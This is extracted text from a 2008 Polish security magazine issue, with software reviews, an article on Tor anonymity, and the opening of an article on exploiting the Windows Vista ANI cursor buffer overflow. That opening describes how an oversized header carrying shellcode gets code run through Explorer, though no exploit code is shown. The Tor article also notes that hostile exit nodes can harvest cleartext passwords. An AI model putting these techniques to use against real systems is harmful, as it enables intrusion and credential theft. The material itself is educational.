Bildsoft SecureDNA pozwala na szyfrowanie plików, fol-
derów,  nośników  danych,  emaili.  Dostarcza  ochrony  na 
wysokim poziomie. Najważniejsze funkcje:

•   szyfrowanie AES 256-bit,
•   szyfrowanie poczty,
•   ochrona pendrivów,
•   ochrona płyt,
•   menadżer,
•   kontrola jakości hasła,
•   ukrywanie danych w plikach audio i w obrazkach,
•   drag & drop.

Wymagania:

•   .NET Framework 2.0.

Rysunek 1. 

Operacje przetwarzania danych osobowych

Rysunek 2. 

Zarządzanie ryzykiem

background image

Jeśli nie możesz odczytać zawartości płyty CD, a nie jest ona uszkodzona 

mechanicznie, sprawdź ją na co najmniej dwóch napędach CD.

W razie problemów z płytą, proszę napisać pod adres: 

cd@software.com.pl

background image

12

Narzędzia

hakin9 Nr 3/2008

www.hakin9.org

Oprogramowanie  firmy  Symantec  zawsze  cieszyło  się 
dużym  uznaniem  wśród  użytkowników  komputerów. 
Jednym  z  dostępnych  pakietów  jest  SystemWorksTM. 
W  wersji  podstawowej  (Basic  Edition)  w  skład  pakie-
tu wchodzą: Norton UtilitiesTM, Norton GoBackTM, One 
Button Checkup oraz System Optimizer.

Instalacja  oprogramowania  nie  sprawia  najmniejsze-

go  problemu  nawet  osobom  z  minimalną  wiedzą  kom-
puterową.  Przed  jej  rozpoczęciem  należy  się  jednak 
upewnić,  czy  dysponujemy  odpowiednią  ilością  miejsca 
na dysku twardym (Norton GoBackTM wymaga 10% wol-
nego  miejsca  na  dysku  na  historię  –  istnieje  możliwość 
ręcznego skonfigurowania w trakcie instalacji). Poszcze-
gólne  programy  mogą  być  uruchomione  bezpośrednio 
z dysku CD bez instalacji (Norton CleanUp, Norton Disk 
Doctor, Norton WinDoctor).

Po  pomyślnej  instalacji  dostajemy  bogaty  zestaw 

narzędzi gotowych do optymalizacji oraz naprawy nasze-
go systemu. Mówiąc najbardziej ogólnie, możemy podzie-
lić pakiet na Norton Cleanup oraz Norton Utilities. Pierw-
szy  zawiera  aplikacje  pozwalające  na  szybkie  usunię-
cie  plików  tymczasowych,  plików  cookie,  plików  historii 
internetowej oraz pamięci podręcznej. Druga grupa jest 
znacznie  liczniejsza  i  zawiera  narzędzia  diagnostycz-
no-naprawcze:

•   Norton  Disk  Doctor  –  narzędzie  służące  do  diagno-

zowania  oraz  naprawiania  problemów  dotyczących 
dysków twardych,

•   Norton System Doctor – monitor systemu, reagują-

cy natychmiast w przypadku wykrycia problemu (za-
równo powiadomieniem użytkownika, jak i – w nie-
których sytuacjach – automatyczną naprawą). Apli-
kacja pozwala na wybór aktywnych czujników nad-
zorujących  m.  in.  dyski  twarde,  procesor,  pamięć 
i sieć,

•   Norton WinDoctor – bardzo przydatne narzędzie, słu-

żące  do  rozwiązywania  najczęstszych  problemów 
występujących w systemach z rodziny Windows,

•   Speed Disk – doskonałe narzędzie, w pełni zastępują-

ce systemowy defragmentator. Regularne stosowanie 
pozwala na znaczne przyspieszenie naszego kompu-
tera oraz zmniejszenie liczby operacji wykonywanych 
przez głowicę dysku,

•   UnErase Wizard – pozwala na odnalezienie i odzyska-

nie plików chronionych przez pakiet Norton Utilities.

Wspomniany  wcześniej  Norton  GoBack  jest  narzę-
dziem służącym do szybkiego przywrócenia systemu do 
wcześniejszego  stanu.  Pozwala  to  na  naprawę  systemu 
w  przypadku  groźnej  infekcji  przez  wirusa,  usunięcie 
szkód wyrządzonych przez niebezpieczne oprogramowa-
nie lub po prostu odzyskanie ważnych, utraconych danych. 
Domyślnie w trakcie instalacji GoBack wymaga przydzie-
lenia przestrzeni równej ok. 10% pojemności dysku twar-
dego, co stanowi dość dużą wartość. 

Całość pakietu jest nadzorowana przez usługę LiveUp-

date, która zapewnia uaktualnienia dla wszystkich kompo-
nentów pakietu. 

Firma  Symantec  po  raz  kolejny  stworzyła  znakomi-

ty zestaw narzędzi zwiększających bezpieczeństwo i nie-
zawodność  sytemu  operacyjnego.  Pakiet  SystemWorks 
został wydany w 3 wersjach: Basic Edition, Standard Edi-
tion oraz Premier Edition. 

W  wersji  Standard  Edition  użytkownik  dodatkowo 

dostaje  ochronę  poczty  elektronicznej,  zabezpieczenie 
przed programami typu spyware oraz ochronę plików ścią-
ganych  z  Internetu  (usuwanie  niebezpiecznych  elemen-
tów). Premier Edition zezwala na tworzenie kopii zapaso-
wych ważnych plików i całych dysków (Norton Ghost).

Pakiet SystemWorks stanowi niezawodne narzędzie do 

ochrony  systemu  operacyjnego  oraz  danych.  Pozwala  na 
zwiększenie wydajności systemu. Proste i intuicyjne interfej-
sy graficzne stanowią dodatkowy atut. Produkt firmy Syman-
tec  jest  idealnym  rozwiązaniem  dla  każdego  użytkownika 
potrzebującego kompleksowej ochrony komputera. 

Radosław Matusiak

Producent: Symantec

System: Windows® XP Home/XP Pro/XP Media 2005+ 

Typ: Narzędzie zabezpieczające

Strona dystrybutora: http://www.softpoint.com.pl

Ocena: 5/5

Norton SystemWorksTM 

Basic Edition

Rysunek 1. 

Norton SystemWorks Basic Edition

background image

13

hakin9 Nr 3/2008

Narzędzia

W dobie powszechnie występujących w sieci Internet zagro-
żeń, w celu zapewnienia akceptowalnego poziomu bezpie-
czeństwa stacji roboczej nie wystarczy już tylko posiadanie 
zaktualizowanego systemu operacyjnego oraz oprogramo-
wania  antywirusowego.  Obecnie  niezbędne  jest  również 
posiadanie  sprawdzonego  oprogramowania  typu  personal 
firewall. Jednym z najlepszych dostępnych na rynku progra-
mów jest produkt firmy Agnitum – Outpost Firewall Pro.

Za najważniejsze funkcje programu Outpost Firewall Pro 

należy uznać:

•   ochrona Anti-Leak – zabezpiecza przed znanymi meto-

dami obchodzenia firewalli. Metody te są często wyko-
rzystywane przez złośliwe oprogramowanie,

•   ochrona antyspyware (dostępna jako wtyczka) – spraw-

dza,  czy  w  systemie  nie  znajduje  się  oprogramowa-
nie  szpiegujące  (monitorowane  są  procesy  w  pamięci, 
rejestr, ciasteczka, programy startowe, pliki systemowe),

•   autoochrona – moduł ten jest odpowiedzialny za ochro-

nę pakietu Outpost przed działaniem złośliwego opro-
gramowania, mogącym doprowadzić do jego wyłącze-
nia bądź uszkodzenia,

•   ImproveNet – baza reguł tworzona na podstawie infor-

macji  zebranych  anonimowo  od  użytkowników,  którzy 
wyrazili na to zgodę. Umożliwia automatyczne pobranie 
reguł i ograniczenie decyzji podejmowanych przez użyt-
kownika do minimum – jest to szczególnie przydatne dla 
mało doświadczonych użytkowników komputerów, 

•   wykrywanie ataków (dostępne jako wtyczka) – system 

IDS  (ang.  Intrusion  Detection  System),  zabezpiecza 
przed znanymi metodami ataków,

•   ochrona przed wyciekiem danych (dostępna jako wtycz-

ka) – zabezpiecza przed wysyłaniem danych, o których 
program  wie,  że  są  prywatne  (np.  numery  kart  kredy-
towych). Dane, które mają być chronione, należy wcze-
śniej zdefiniować w programie,

•   filtrowanie zawartości (dostępne jako wtyczka) – umoż-

liwia blokowanie dostępu do stron internetowych zawie-
rających niepożądane treści,

•   mechanizm  wtyczek  –  umożliwia  używanie  dodatko-

wych  modułów.  Outpost  jest  domyślnie  zainstalowany 
z  następującymi  wtyczkami:  antyspyware,  blokowanie 
reklam, filtrowanie zawartości (także aktywnej), filtrowa-
nie załączników, pamięć DNS, wykrywanie ataków),

•   kontrola  komponentów  –  monitorowane  są  wszyst-

kie  komponenty  każdej  zarejestrowanej  aplikacji  (pliki 

EXE oraz DLL). Mechanizm ten wykorzystywany jest do 
upewnienia się, że komponent aplikacji nie został pod-
mieniony przez złośliwe oprogramowanie.

Outpost Firewall Pro może pracować w pięciu trybach:

•   zezwalaj na wszystko – wszystkie połączenia są dozwo-

lone, komputer nie jest chroniony,

•   zezwalaj na większość – dozwolone są wszystkie połą-

czenia za wyjątkiem jawnie zadeklarowanych na firewal-
lu jako zablokowane,

•   kreator reguł – program pyta użytkownika o zezwolenia 

lub zablokowanie każdego nowego połączenia,

•   blokuj większość – zablokowane są wszystkie połącze-

nia  za  wyjątkiem  jawnie  zadeklarowanych  na  firewallu 
jako dopuszczone,

•   blokuj  wszystko  -  komputer  jest  odłączony  od  sieci, 

wszystkie połączenia są zablokowane.

Outpost Firewall Pro może pracować w tzw. trybie cichym, 
który zapewnia ochronę komputera podczas grania w gry 
lub oglądania filmów bez wyświetlania komunikatów. 

Jedną  z  największych  zalet  programu  Outpost  Fire-

wall  Pro  jest  możliwość  bardzo  szczegółowego  definiowa-
nia reguł dostępu programów do Internetu. Za duży plus pro-
gramu  można  też  uznać  bardzo  przejrzysty  i  gromadzący 
dużo informacji dziennik zdarzeń, dzięki któremu jesteśmy 
w  stanie  prześledzić  zachowanie  naszego  komputera 
w sieci. Z programem otrzymujemy obszerną dokumentację 
w języku polskim (110 stron) w postaci pliku PDF oraz roz-
budowaną pomoc, także w języku polskim, dostępną bezpo-
średnio z programu. Instalacja oraz konfiguracja programu 
jest bezproblemowa. Ilość zasobów komputera wykorzysty-
wanych przez program w porównaniu do produktów konku-
rencji jest dużo mniejsza.

Opisywany produkt jest jednym z najlepszych tego typu 

programów dostępnych na rynku. Jego obsługa jest intuicyj-
na, dla początkujących użytkowników dostępny jest szereg 
mechanizmów  ułatwiających  konfigurację  oraz  ograni-
czających  konieczność  podejmowania  przez  niego  decy-
zji. Z kolei zaawansowanym użytkownikom produkt oferuje 
bardzo duże możliwości konfiguracyjne oraz w dużym stop-
niu umożliwia dostosowanie działania programu do specy-
ficznych wymagań. W mojej opinii jest to obecnie najlepszy 
program typu personal firewall dla systemów Windows. 

Radosław Rydel

Outpost Firewall Pro 4.0

Producent: Agnitum Ltd. 

System: Windows 98, Windows ME, Windows 2000, Windows XP

Typ: Personal firewall

Strona producenta: http://www.agnitum.com, http://www.outpost.pl, http://www.dagma.pl 

Ocena: 5/5

background image

www.hakin9.org

hakin9 Nr 3/2008

14

Początki

T

ak  czy  inaczej  zacząć  warto  od  paru 
podstawowych  kwestii.  Przede  wszyst-
kim,  co  rozumiemy  pod  pojęciem  anoni-

mowości?  Odpowiedniej  definicji  nie  ma  nieste-
ty  w  normach  poświęconych  bezpieczeństwu 
informacji  (choć  czujemy,  że  poczucie  bycia 
anonimowym  jakoś  zwiększa  nasze  poczucie 
bezpieczeństwa, czasami aż za bardzo). Zazwy-
czaj mówi się, że anonimowość (ang. anonymity
to cecha uniemożliwiająca identyfikację podmio-
tu – tożsamości osoby lub systemu – oraz unie-
możliwiająca przypisanie kilku różnych działań te-
mu  samemu  podmiotowi.  W  tym  sensie  byłaby 
więc anonimowość zaprzeczeniem znanej (choć-
by  z  normy  ISO/IEC  17799)  cechy  rozliczalno-
ści. Czasami wyróżnia się pojęcie pseudonymity
które oznacza, że jakkolwiek niemożliwe jest okre-
ślenie  tożsamości  działającego,  można  przy-
porządkować  różne  działania  tej  samej  osobie. 
Na przykład możemy otrzymać dwa niepodpisa-
ne listy, z których treści wnosimy, że były wysłane 
przez tego samego – jednak wciąż nam nieznane-
go – nadawcę.

Oczywiście  nasze  działania  w  Internecie  nie 

są anonimowe. Wszyscy – począwszy od admi-
nistratora pierwszego routera łączącego nas z sie-
cią,  a  skończywszy  na  administratorze  serwera 

WWW, którego strony przeglądamy – są w stanie 
odczytać adres IP, spod którego następuje połą-
czenie, spora część protokołów sieciowych wyko-
rzystuje informacje przesyłane otwartym tekstem, 
zaś  przeglądarki  internetowe  informują  szeroko 
odwiedzane serwery nie tylko o tym, z jakiej wer-
sji (także językowej) systemu operacyjnego wła-
śnie korzystamy, ale również na przykład o tym, 
z jakiej strony trafiliśmy na bieżący serwer. Oczy-
wiście  również  administrator  DNSa,  z  którego 
usług korzystamy, może bez trudu dowiedzieć się, 
jakie adresy były nam potrzebne (o ile oczywiście 
nie posługujemy się stale czystymi, numeryczny-
mi adresami IP).

Ponieważ anonimowość jest albo pełna, albo 

w ogóle jej nie ma, musimy zadbać o ukrycie infor-
macji zarówno na poziomie sieci lokalnej, jak i od-

Routing cebulowy

Maciej Szmit

stopień trudności

Anonimowość, czy raczej anonimizacja, jest jednym 

z najprostszych sposobów zapewnienia sobie  dozy prywatności. 

Co więcej – sama anonimizacja jest w Polsce działaniem w pełni 

zgodnym z prawem – choć tak się składa, że szczególną dbałość 

o swoją anonimowość wykazują osoby, które z prawem mają 

stosunkowo mało wspólnego.

Z artykułu dowiesz się

•   jak anonimowo surfować po Internecie i kiedy ta  

anonimowość jest zagrożona.

Co powinieneś wiedzieć

•   co to jest model DoD i ISO/OSI.

background image

Routing cebulowy

hakin9 Nr 3/2008

www.hakin9.org

15

wiedzanych serwerów (a także wszyst-
kich pośredników). Oczywiście, w sie-
ci  lokalnej  nie  uda  się  nam  udawać 
na przykład braku aktywności (coś tam 
wysyłamy i ściągamy, jakkolwiek może-
my ukryć, co to mianowicie jest), nato-
miast na odwiedzanych serwerach nie 
ukryjemy, co zostało pobrane (ale mo-
żemy nie powiedzieć, przez kogo).

Zapewnienie  sobie  anonimowości 

powinno zatem polegać na przynajm-
niej trzech rzeczach:

•   przekonaniu  naszego  lokalne-

go  systemu  (w  tym:  przeglądar-
ki  WWW,  programu  pocztowego, 
czytnika  grup  news  itd.,  a  także 
systemu  operacyjnego),  żeby  nie 
zdradzał zbyt wielu informacji o so-
bie.

•   wykorzystaniu połączeń szyfrowa-

nych  w  celu  uniemożliwienia  sku-
tecznego podsłuchu.

•   wykorzystaniu  anonimowego  po-

średnika  (ang.  anonymous  pro-
xy
),  albo  –  jeszcze  lepiej  –  syste-
mu anonimowych pośredników dla 
ukrycia naszego adresu IP.

Na  szczęście  współczesne  metody 
szyfrowania  umożliwiają  nam  zesta-
wienie  bezpiecznego,  tj.  zaszyfrowa-
nego, połączenia pomiędzy naszą ma-

szyną  (klientem)  a  pośrednikiem  sie-
ciowym. Pytanie tylko, skąd wziąć za-
ufanego pośrednika, co do którego bę-
dziemy mieli pewność, że sam nas nie 
podgląda? I tu właśnie z pomocą przy-
chodzi nam TOR.

Pora na TORa

TOR (ang. The Onion Router) jest ze-
społem pośredników służących do tzw. 
trasowania  cebulowego,  które  umożli-

wia użytkownikom anonimowy dostęp 
do  zasobów  Internetu.  TOR  pozwa-
la  również  na  przeglądanie  stron  blo-
kowanych przez lokalną cenzurę i do-
stawców sieci przy pomocy tzw. ukry-
tych  usług,  które  pozwalają  na  udo-
stępnianie usług (np. stron WWW) bez 
potrzeby ujawniania fizycznej lokaliza-
cji serwera. 

Klient  podczas  łączenia  się  z  sie-

cią  TOR  pobiera  listę  węzłów  od  ser-

Tabela 1. 

Co i gdzie komu ujawniamy

Warstwa modelu DoD

Co ujawniamy

Jak i komu

Procesów/Aplikacji

Adresy odwiedzanych hostów

Serwerowi DNS, który rozwiązuje 
zapytania, wszystkim routerom po-
między nami a DNSem

Szczegóły ustawień przeglądarki 
WWW (w tym wersja systemu ope-
racyjnego, adres odwiedzanej ostat-
nio strony, wersja językowa użytkow-
nika)

Serwerowi WWW, który odwiedza-
my, wszystkim routerom pomiędzy 
nami a tym serwerem

Adres pocztowy, hasła dostępowe 
w protokołach nieszyfrowanych (np 
POP3, FTP, telnet)

Serwerom, z których usług korzysta-
my, wszystkim routerom pomiędzy 
nami a tymi serwerami

host to host/Transportowa
Internetu

Adres IP

Wszystkim, z którymi się łączymy, 
wszystkim routerom pomiędzy na-
mi a serwerem, z którego usług ko-
rzystamy

Dostępu do sieci

Adres MAC

Wszystkim w sieci lokalnej, w szcze-
gólności routerowi znajdującemu się 
pomiędzy siecią lokalną a Internetem

Rysunek 1. 

Ruch sieciowy przechwycony podczas przęglądania programem 

Mozilla

background image

hakin9 Nr 3/2008

www.hakin9.org

Początki

16

wera  katalogowego,  a  następnie  bu-
duje  sieć  pośredników,  której  struktu-
ra jest dodatkowo dynamicznie przebu-
dowywana co kilka minut. W ten spo-
sób wysyłane informacje, zanim dojdą 
do celu, przechodzą przez kolejne war-
stwy cebuli
 – serwery pośredniczące, 
na których przepakowywane są w pa-
kiety,  opatrywane  nowymi  adresami 
pochodzenia i dodatkowo szyfrowane. 
Sieć pośredników zbudowana jest tak, 
że  każdy  z  przekaźników  po  drodze 
zna tylko przekaźnik, z którego otrzy-
mał  dane  i  przekaźnik,  któremu  dane 
wysyła (dla każdego skoku w obwodzie 
używana jest osobna para kluczy, ża-
den z węzłów połączenia nie jest w sta-
nie odtworzyć trasy pakietu). Co więcej,  
wstawienie w którejś z warstw wrogie-
go (podsłuchującego) węzła nie umoż-
liwi zazwyczaj identyfikacji użytkowni-
ka (chyba, że będzie to akurat pierw-
szy  węzeł,  połączony  bezpośrednio 
z pechowym użytkownikiem).

TOR ma oczywiście swoje ograni-

czenia. Przede wszystkim szyfrowana 
jest  komunikacja  TCP,  natomiast  nie 
jest to możliwe dla ruchu UDP. Jak się 
można  spodziewać,  po  UDP  zazwy-
czaj  przesyłane  są  komunikaty  DNS 
(choć  można  to  zmienić),  więc  cała 
anonimowość  staje  pod  znakiem  za-
pytania – przynajmniej, dopóki nie uży-
jemy  dodatkowego  oprogramowania, 
na  przykład  narzędzia  Privoxy,  które 
zresztą  wchodzi  w  skład  pakietu  dys-
trybucyjnego TORa. Po wtóre – z oczy-
wistych  względów  –  szyfrowanie  nie 
dotyczy  komunikacji  pomiędzy  ostat-
nim  z  pośredników  (zwanym  węzłem 
wyjściowym TORa) a serwerem, z któ-
rego usług chcemy skorzystać. Zwykły 
serwer  bowiem  dostarcza  usługi  wy-
łącznie w postaci jawnej (nieszyfrowa-
nej), nie mając pojęcia, czy zgłosił się 

do niego węzeł wyjściowy TORa, czy 
zwykły użytkownik. Nieco inaczej wy-
gląda to w przypadku serwerów usług 
ukrytych,  które  dostępne  są  w  sieci 
TOR  i  szyfrują  swoją  komunikację  od 
początku do końca.

Sytuacja  taka  powoduje,  że  nie 

możemy mówić o zapewnieniu pełnej 
anonimowości.  Odpowiednie  insty-
tucje  mogą  monitorować  aktywność 
całej  sieci,  w  tym  serwera,  a  także 
ruch wychodzący z podejrzanych wę-
złów TORa i próbować skorelować go 
ze sobą (tzw. atak end-to-end timing). 
Wielki Brat musi być w tym wypadku 
rzeczywiście całkiem spory, najlepiej 

bowiem byłoby, żeby mógł monitoro-
wać ruch w całej sieci (albo na przy-
kład  w  całym  państwie).  Co  więcej 
– wrogi węzeł wyjściowy może skie-
rować  komunikację  do  niewłaściwe-
go  (podstawionego)  serwera.  Oczy-
wiście, ponieważ – jak już wspomnia-
no – trasa jest dobierana według spe-
cjalnego algorytmu i okresowo zmie-
niana, zaś lista węzłów pobierana jest 
z serwera katalogowego, prawdopo-
dobieństwo  takiego  zdarzenia  jest 
stosunkowo  niewielkie  –  należy  jed-
nak zachować ostrożność. Na szczę-
ście  TOR  umożliwia  również  ręczne 
skonfigurowanie węzła wyjściowego. 

Co to jest pośrednik (proxy)

Pośrednik (ang. proxy) jest to urządzenie działające w IV i wyższych warstwach mode-
lu referencyjnego ISO/OSI. To, co odróżnia proxy od routera, to fakt, że proxy ustanawia 
osobne połączenie (obwód wirtualny TCP) w imieniu swojego klienta, zaś router – jedynie 
trasuje datagramy IP przekładając je w ramki zaadresowane do kolejnego routera. W ten 
sposób odbiorca pakietów będzie oczywiście widział adres komputera klienckiego, a nie 
żadnego z routerów po drodze. W przypadku pośrednika – na serwerze zostanie zauwa-
żony adres tego ostatniego, bowiem to on nawiązuje połączenie. W przypadku routera z 
funkcją sNAT (podmieniającego źródłowy adres IP w pakietach wychodzących z sieci na 
własny), na serwerze będzie widoczny adres publicznego interfejsu NATa. 

W Sieci

•   http://www.torproject.org,
•   http://www.torrify.com,
•   http://www.showmyip.com/torstatus/.

Rysunek 2. 

Ruch sieciowy 

Torpachem

Rysunek 3. 

Różnice między routerem a pośrednikiem

������

�����

��������������

�����������

���������

���������

��������

����������

����������

��������������

����������������

background image

Routing cebulowy

hakin9 Nr 3/2008

www.hakin9.org

17

TOR dla opornych

Najprostszą metodą skorzystania z TO-
Ra jest zainstalowanie opartej na Mozilli 
aplikacji XeroBank Browser (wcześniej-
sza nazwa Torpark), dostępnej pod ad-
resem http://www.torrify.com. Przeglą-
darka ta ma wbudowanego klienta sieci 
TOR, którego wykorzystuje do łączenia 
się  z  odwiedzanymi  stronami  WWW. 
Co  istotne,  program  ten  anonimizuje 
również ruch DNS, dzięki czemu pod-
słuchujący  widzi  jedynie  czysty  stru-
mień  TCP  skierowany  od  naszej  ma-
szyny do wejściowego węzła TORa. 

Temat  deanonimizacji  TORa  po-

wraca  regularnie  przy  różnych  oka-
zjach.  Na  szczęście  TOR  jest  pomy-
ślany  i  zrealizowany  dość  porządnie, 
a poruszające wieści okazują się czę-
sto niewypałami. No, może nie tyle nie-
wypałami,  co  hakowaniem  ludzi  za-
miast  technologii.  Dla  przykładu:  wy-
starczy  uruchomić  kilka  wrogich  wę-
złów  TORa  z  logowaniem  ruchu  sie-
ciowego,  żeby  po  odpowiednim  cza-
sie zdobyć hasła użytkowników, którzy 
uwierzyli,  że  transmisja  haseł  SMTP 
czy FTP staje się po użyciu TORa bez-
pieczna. Z uwagi na sposób działania 
algorytmu wyboru ścieżki TORa, wro-
gi węzeł stanie się wcześniej czy póź-
niej  dla  kogoś  węzłem  końcowym, 
a – jak pamiętamy – ruch od końcowe-
go węzła do serwera nie jest szyfrowa-
ny. Choć wydaje się to dziwne, meto-
da ta rzeczywiście działa – w 2007 ro-

ku pewien szwedzki dziennikarz opubli-
kował listę haseł 100 VIPów korzystają-
cych w ten sposób z TORa. Innym spo-
sobem, wymyślonym przez H.D. Mo-
ore’a  (tego  od  Metasploita),  jest  wy-
korzystanie  rozlicznych  pluginów,  od 
których roi się w przeglądarkach: mo-
że da się jakoś przekonać oprogramo-
wanie obsługujące JavaScript czy Fla-
sha, żeby jednak podało prawdziwe IP 
przeglądarki?  Oczywiście,  jeśli  zale-
ży  nam  na  anonimowości,  to  można 
(trzeba!)  te  wszystkie  dodatki  powy-
łączać. Istnieją też serwisy, w których 
można  sprawdzić,  co  nasza  przeglą-
darka pokazuje na zewnątrz – również 
w odniesieniu do obsługi skryptów. Na 
przykład możemy to uczynić na stronie 
http://www.showmyip.com/torstatus.

Jeśli  chcemy  zanonimizować  coś 

więcej  niż  tylko  przeglądarkę,  powin-
niśmy sięgnąć po wersję instalacyjną 
TORa. W skład pakietu instalacyjnego 
TORa  dla  Windows  wchodzi  (oprócz 
klienta  sieci  TOR)  wspomniane  już 
Privoxy (serwer proxy odpowiadający, 
oprócz  wspomnianej  wcześniej  ano-
nimizacji żądań DNS, za obsługę co-
okies, filtrowanie treści i bannerów na 
stronach WWW), Vidalia (odpowiada-
jąca  za  konfigurację  poszczególnych 
komponentów  i  dodatkowo  chronią-
ca komputer) oraz Torbutton – doda-
tek do Mozilli umożliwiający łatwe włą-
czanie i wyłączanie TORa. Wszystko 
razem możemy ściągnąć (oczywiście 
bezpłatnie)  ze  stron  projektu  TOR: 
http://www.torproject.org
.  W  tym  sa-
mym  miejscu  możemy  znaleźć  do-
kładne informacje o sposobie instalacji 
pakietu (po polsku i w paru innych ję-
zykach). W zasadzie (jeśli nie zamie-
rzamy  sami  zostawać  węzłem  cebu-
li) wszystko sprowadza się do użycia 
zupełnie oczywistego kreatora. Jedy-

nym drobiazgiem jest to, że po zakoń-
czeniu  instalacji  i  uruchomieniu  TO-
Ra, Vidalii i Privoxy musimy skonfigu-
rować  aplikacje  sieciowe,  aby  korzy-
stały z pośrednika (czyli właśnie pro-
gramu Privoxy). Na przykład w Mozilli 
(o  ile  nie  zainstalowaliśmy  aplika-
cji TORbutton) musimy wybrać z me-
nu  odpowiednio  opcje:  Narzędzia  –> 
Opcje –> Zaawansowane –> Sieć –> 
Ustawienia  –>  Ręczna  konfiguracja 
serwerów proxy 
i w edytorze Serwer 
proxy  HTTP  podać  adres  127.0.0.1 
i port 8118. Bez tego ruch sieciowy ge-
nerowany przez nas nie będzie oczy-
wiście przechodził przez TORa, pozo-
stanie więc niezaszyfrowany i nie ano-
nimizowany.

Na koniec warto wspomnieć o pod-

stawowym mankamencie TORa: spo-
walnianiu  łączności.  Oczywiście  sto-
pień  spowolnienia  zależy  od  tego,  ja-
kie  węzły  będą  pośredniczyły  w  na-
szej  komunikacji,  niemniej  wrażenie 
bywa  przytłaczające  –  zwłaszcza,  je-
śli  dysponujemy  porządnym  łączem 
internetowym.  Dla  przykładu,  w  cza-
sie  pisania  tego  artykułu  zmierzyłem 
prędkość  pobierania  za  pomocą  ser-
wisu  www.numion.org  dla  połącze-
nia  nieanonimizowanego  i  anonimi-
zowanego.  Wynosiła  ona  odpowied-
nio  około  30  Mbps  (sieć  akademic-
ka  –  Fast  Ethernet  do  sieci  kampu-
sowej  i  dalej  światłowód  do  NASKu) 
oraz w okolicach 50 kbps. Przy mniej-
szych  szerokościach  pasma  różnice 
nie są aż tak drastyczne, niemniej ce-
ną za prywatność jest w tym wypad-
ku  pogorszenie  komfortu  pracy.  Ale 
w informatyce jak w życiu (a może na-
wet bardziej) – nic za darmo.

Podsumowanie

TOR  jest  interesującym  (i  dość  sku-
tecznym) sposobem zapewniania pry-
watności  poprzez  anonimizację  swo-
ich  działań  w  Sieci.  Jego  najsłabszy-
mi  punktami  są  niewątpliwie:  znacz-
ne  spowolnienie  prędkości  transmisji 
danych  oraz  konieczność  dokładnego 
skonfigurowania  wszystkich  elemen-
tów  systemu,  które  mogłyby  zdradzić 
tożsamość  użytkownika.  Na  pytanie, 
czy konieczność myślenia jest poważ-
nym problemem, każdy musi odpowie-
dzieć sobie sam. l

O autorze

Maciej  Szmit  jest  adiunktem  w  Kate-
drze Informatyki Stosowanej 
Politechniki Łódzkiej. 
Kontakt z autorem: 
maciej.szmit@gmail.com

Rysunek 4. 

Zasady działania sieci TOR

������

���������������������

������������������������

������

���������

���������

���������

�����

�������������

background image

www.hakin9.org

hakin9 Nr 3/2008

18

Atak

styczniu  2007  roku  koncern  z 
Redmond  zaprezentował  użyt-
kownikom  swój  nowy  produkt 

– system operacyjny Windows NT 6.0, zwany 
Vistą.  Według  twórców  cechował  się  on  ład-
niejszą oprawą graficzną, większą wygodą ob-
sługi, a przede wszystkim – znacznie polepszo-
nym bezpieczeństwem. W tym celu zmieniono 
kilka istotnych elementów systemu, rozprowa-
dzano  wraz  z  systemem  przeglądarkę  Inter-
net Explorer 7 oraz oprogramowanie Windows 
Defender.  Wprowadzono  też  szereg  ułatwień 
mających  poprawić  komfort  pracy  na  koncie 
z ograniczonymi prawami. Jednak nawet mimo 
podjętego wysiłku nie uchroniono systemu od 
błędów. Jednym z nich jest opisywana podat-
ność – przepełnienie bufora związane z animo-
wanym kursorem. 

ANI i RIFF, czyli co czym się je

Wszystkie  animowane  kursory  znajdują  się 
w plikach o rozszerzeniu .ani, np. dinozaur.ani
Format  .ani  jest  odmianą  formatu  RIFF  firmy 
Microsoft.  RIFF  (ang.  Resource  Interchange 
File Format
 – format wymiany informacji o za-
sobach)  określa  sposób  zapisywania  danych 
do pliku. Informacje są rozdzielone od siebie 

odpowiednimi  elementami,  zwanymi  tagami 
(można  je  porównać  do  znaczników  w  języ-
ku  HTML).  Dodatkowo  elementy  są  podzie-
lone na kawałki (ang. chunks), z których każ-
dy  zawiera  jakąś  porcję  danych.  Przyjrzyjmy 
się nieco bliżej strukturze związanej z plikiem 
o  rozszerzeniu  .ani.  Jest  ona  przedstawiona 
na Listingu 1.

Struktura

  ANIHeader

,  jak  sama  nazwa 

wskazuje, jest nagłówkiem, który opisuje da-
ną porcję informacji (czyli 

ANIChunk

). Zawiera 

podstawowe informacje niezbędne dla takiego 

Hakowanie Visty

Konrad Zuwała

stopień trudności

Windows Vista był przez firmę Microsoft zapowiadany, jako 

całkowita rewolucja w bezpieczeństwie systemów operacyjnych. 

Jednak czas pokazał, że jest to tylko iluzja, a w Viście znajdowane 

są kolejne błędy. Czy Vista rzeczywiście jest tak bezpieczna, jak 

zapewnia jej producent?

Z artykułu dowiesz się

•   w jaki sposób wykorzystać poważny błąd Win-

dows Vista tak, aby wykonać własny kod,

•   w jaki sposób przeprowadzić atak DoS na plat-

formie Vista.

Co powinieneś wiedzieć

•   umieć programować w C,
•   znać podstawy WinAPI,
•   umieć korzystać z narzędzi debugujących,
•   znać podstawy asemblera.

background image

Hakowanie Visty

hakin9 Nr 3/2008

www.hakin9.org

19

pliku. Bardziej interesującą jest do-
celowa porcja danych, czyli struktu-
ra 

ANIChunk

. Zawiera ona 3 zmienne, 

z których nas interesują w zasadzie 
dwie: 

tag

 i 

data

. Rozmiar danych za-

pisywanych  do  struktury 

ANIHeader

 

nie może być większy niż 36 bajtów, 
w  przeciwnym  wypadku  będzie-
my mieli do czynienia z przepełnie-
niem bufora, które pozwoli nam wy-
konać  dowolny  shellcode  na  kom-
puterze  ofiary.  Zatem  spreparowa-
na  struktura  musi  mieć  więcej  baj-

tów niż przewiduje specyfikacja, na-
tomiast  tablica 

data

  musi  zawierać 

offset (ciąg instrukcji o pewnej okre-
ślonej długości, które nic nie robią), 
a następnie shellcode, który zosta-
nie  wykonany  przez  Eksploratora 
Windows.  Ten,  aby  odczytać  dany 
plik z animacją, ikoną lub inną por-
cją  danych  multimedialnych  (czyli 
zapisanych  w  formacie  RIFF  bądź 
ANI),  otworzy  nasz  plik,  a  następ-
nie za pomocą odpowiednich funkcji 
WinAPI  zacznie  obrabiać  jego  za-

wartość. To umożliwi nam wykona-
nie  kodu  exploita.  Najpierw  jednak 
musimy  poznać  funkcję  Windows, 
która jest za to odpowiedzialna.

Przepełnienie

bufora funkcji

Kod funkcji zaprezentowany jest na 
Listingu  2.  Najpierw  odczytywany 
jest  tag,  a  następnie  –  w  zależno-
ści jego zawartości dokonywane są 
odpowiednie operacje. W przypad-
ku, gdy tag to 

anih

 (skrót od .ani he-

ader),  następuje  odczytanie  chun-
ku
